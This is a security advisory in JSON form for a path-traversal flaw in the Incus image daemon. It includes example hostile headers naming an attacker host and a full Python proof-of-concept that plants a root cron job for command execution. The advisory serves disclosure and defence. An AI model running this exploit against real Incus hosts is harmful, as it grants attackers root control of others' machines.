CVE-2026-48769: Github.com/lxc/incus/v7/cmd/incusd Incus Has An Arbitrary File Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f6m5-xw2g-xc4x",
  "modified" : "2026-06-26T19:13:18Z",
  "published" : "2026-06-26T19:13:18Z",
  "aliases" : [ "CVE-2026-48769" ],
  "summary" : "Incus has an arbitrary file write on its client due to trusted image hash",
  "details" : "### Summary\n\nAn arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server.\n\n\n### Details\n\n- `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias`  and `Server`.\n- `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string.\n- `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`.\n- `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file.\n- `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated.\n- `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.\n\nA malicious image server returning something along the following will cause the arbitrary file write.\n\n```\nIncus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce\nIncus-Image-URL: http://attacker/payload\n```\n\n\n### PoC\n\nThe script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked.\n\nThe following script was generated by an LLM.\n\n```\n#!/usr/bin/env python3\n\"\"\"Direct image URL hash path traversal to transient host cron write.\n\nFor `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory.\n\nDefault mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file.\n\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport http.client\nimport json\nimport shlex\nimport socket\nimport ssl\nimport sys\nimport threading\nimport time\nimport urllib.parse\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\nfrom typing import Any\n\n\nDEFAULT_SOCKET = \"/var/lib/incus/unix.socket\"\nDEFAULT_TRAVERSAL = \"../../../../etc/cron.d/incus-direct-image-url-rce\"\n\n\nclass UnixHTTPConnection(http.client.HTTPConnection):\n    def __init__(self, socket_path: str, timeout: int = 120):\n        super().__init__(\"incus\", timeout=timeout)\n        self.socket_path = socket_path\n\n    def connect(self) -> None:\n        sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n        sock.settimeout(self.timeout)\n        sock.connect(self.socket_path)\n        self.sock = sock\n\n\nclass RCEHTTPServer(ThreadingHTTPServer):\n    hash_path: str\n    advertise_url: str\n    payload: bytes\n    hold_seconds: int\n    payload_requested: threading.Event\n\n\nclass DirectImageHandler(BaseHTTPRequestHandler):\n    protocol_version = \"HTTP/1.1\"\n    server_version = \"direct-image-rce/1.0\"\n\n    def log_message(self, fmt: str, *args: Any) -> None:\n        print(f\"[http] {self.address_string()} - {fmt % args}\", flush=True)\n\n    def do_HEAD(self) -> None:\n        if self.path != \"/stage\":\n            self.send_error(404)\n            return\n\n        srv = self.server\n        assert isinstance(srv, RCEHTTPServer)\n        self.send_response(200)\n        self.send_header(\"Incus-Image-Hash\", srv.hash_path)\n        self.send_header(\"Incus-Image-URL\", srv.advertise_url.rstrip(\"/\") + \"/payload\")\n        self.send_header(\"Connection\", \"close\")\n        self.end_headers()\n\n    def do_GET(self) -> None:\n        if self.path != \"/payload\":\n            self.send_error(404)\n            return\n\n        srv = self.server\n        assert isinstance(srv, RCEHTTPServer)\n        srv.payload_requested.set()\n\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/octet-stream\")\n        self.send_header(\"Cache-Control\", \"no-store\")\n        self.end_headers()\n        self.wfile.write(srv.payload)\n        self.wfile.flush()\n        print(f\"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s\", flush=True)\n        time.sleep(srv.hold_seconds)\n        self.close_connection = True\n\n\ndef quote(value: str) -> str:\n    return urllib.parse.quote(value, safe=\"\")\n\n\ndef tls_context(args: argparse.Namespace) -> ssl.SSLContext:\n    if args.insecure:\n        ctx = ssl._create_unverified_context()\n    else:\n        ctx = ssl.create_default_context(cafile=args.cacert)\n\n    if args.cert:\n        ctx.load_cert_chain(args.cert, args.key)\n\n    return ctx\n\n\ndef connection(args: argparse.Namespace) -> http.client.HTTPConnection:\n    if args.url:\n        parsed = urllib.parse.urlparse(args.url)\n        if parsed.scheme != \"https\":\n            raise ValueError(\"--url must use https\")\n\n        return http.client.HTTPSConnection(\n            parsed.hostname,\n            parsed.port or 8443,\n            timeout=args.timeout,\n            context=tls_context(args),\n        )\n\n    return UnixHTTPConnection(args.socket, timeout=args.timeout)\n\n\ndef request_json(\n    args: argparse.Namespace,\n    method: str,\n    path: str,\n    obj: dict[str, Any] | None,\n    allow_error: bool = False,\n) -> tuple[int, dict[str, Any]]:\n    body = None if obj is None else json.dumps(obj).encode(\"utf-8\")\n    headers = {\"Host\": \"incus\"}\n    if body is not None:\n        headers[\"Content-Type\"] = \"application/json\"\n\n    conn = connection(args)\n    conn.request(method, path, body=body, headers=headers)\n    resp = conn.getresponse()\n    raw = resp.read()\n    conn.close()\n\n    try:\n        data = json.loads(raw) if raw else {}\n    except json.JSONDecodeError:\n        data = {\"raw\": raw.decode(\"utf-8\", \"replace\")}\n\n    if not allow_error and (resp.status >= 400 or data.get(\"type\") == \"error\"):\n        raise RuntimeError(f\"{method} {path} failed with HTTP {resp.status}: {data}\")\n\n    return resp.status, data\n\n\ndef images_path(project: str) -> str:\n    return \"/1.0/images?project=\" + quote(project)\n\n\ndef cron_payload(command: str) -> bytes:\n    return f\"* * * * * root /bin/sh -c {shlex.quote(command)}\\n\".encode(\"utf-8\")\n\n\ndef image_url_body(project_url: str, public: bool) -> dict[str, Any]:\n    return {\n        \"source\": {\n            \"type\": \"url\",\n            \"url\": project_url.rstrip(\"/\") + \"/stage\",\n        },\n        \"public\": public,\n    }\n\n\ndef start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer:\n    server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler)\n    server.hash_path = args.hash_path\n    server.advertise_url = args.advertise_url\n    server.payload = payload\n    server.hold_seconds = args.hold_seconds\n    server.payload_requested = threading.Event()\n\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n    return server\n\n\ndef main() -> int:\n    parser = argparse.ArgumentParser(description=\"Incus direct image URL hash traversal cron RCE PoC\")\n    parser.add_argument(\"--socket\", default=DEFAULT_SOCKET, help=\"Incus Unix socket\")\n    parser.add_argument(\"--url\", help=\"remote Incus URL, for example https://host.ctf:8443\")\n    parser.add_argument(\"--cert\", help=\"client certificate for remote Incus\")\n    parser.add_argument(\"--key\", help=\"client private key for remote Incus\")\n    parser.add_argument(\"--cacert\", help=\"CA certificate for remote Incus\")\n    parser.add_argument(\"--insecure\", action=\"store_true\", help=\"disable TLS verification\")\n    parser.add_argument(\"--timeout\", type=int, default=120, help=\"Incus request timeout\")\n    parser.add_argument(\"--project\", default=\"default\", help=\"project used for image import\")\n    parser.add_argument(\"--public\", action=\"store_true\", help=\"mark imported image public\")\n    parser.add_argument(\"--listen-host\", default=\"0.0.0.0\", help=\"HTTP listen address\")\n    parser.add_argument(\"--listen-port\", type=int, default=8088, help=\"HTTP listen port\")\n    parser.add_argument(\"--advertise-url\", default=\"http://127.0.0.1:8088\", help=\"URL reachable by the Incus daemon\")\n    parser.add_argument(\"--hash-path\", default=DEFAULT_TRAVERSAL, help=\"value returned in Incus-Image-Hash\")\n    parser.add_argument(\"--hold-seconds\", type=int, default=90, help=\"keep payload response open for this many seconds\")\n    parser.add_argument(\"--command\", default=\"id > /tmp/incus-direct-image-url-rce\", help=\"command cron should run\")\n    parser.add_argument(\"--execute-trigger\", action=\"store_true\", help=\"start server and trigger POST /1.0/images\")\n    parser.add_argument(\"--yes-i-understand-this-writes-host-file\", action=\"store_true\", help=\"required with --execute-trigger\")\n    args = parser.parse_args()\n\n    if bool(args.cert) != bool(args.key):\n        parser.error(\"--cert and --key must be supplied together\")\n    if args.execute_trigger and not args.yes_i_understand_this_writes_host_file:\n        parser.error(\"--execute-trigger requires --yes-i-understand-this-writes-host-file\")\n\n    payload = cron_payload(args.command)\n    trigger_body = image_url_body(args.advertise_url, args.public)\n\n    print(\"[*] exploit primitive: direct image URL unvalidated hash path host write\")\n    print(f\"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage\")\n    print(f\"[*] returned Incus-Image-Hash: {args.hash_path}\")\n    print(f\"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload\")\n    print(f\"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce\")\n    print(f\"[*] cron payload: {payload.decode().rstrip()}\")\n    print(f\"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}\")\n\n    if not args.execute_trigger:\n        print(\"[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test\")\n        return 0\n\n    server = start_server(args, payload)\n    print(f\"[*] HTTP server listening on {args.listen_host}:{args.listen_port}\")\n\n    status, data = request_json(args, \"POST\", images_path(args.project), trigger_body, allow_error=True)\n    print(f\"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}\")\n\n    if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)):\n        print(\"[*] daemon requested payload; cron file should exist until the held response is released\")\n    else:\n        print(\"[!] daemon did not request payload within the wait window\")\n\n    print(\"[*] leaving HTTP server active for the remaining hold window\")\n    time.sleep(max(0, args.hold_seconds - 30))\n    server.shutdown()\n    server.server_close()\n    return 0\n\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except BrokenPipeError:\n        raise SystemExit(1)\n    except Exception as exc:\n        print(f\"[-] {exc}\", file=sys.stderr)\n        raise SystemExit(1)\n```\n\n\n### Impact\n\nAn arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v7/cmd/incusd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.2.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lxc/incus"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T19:13:18Z",
    "nvd_published_at" : null
  }
}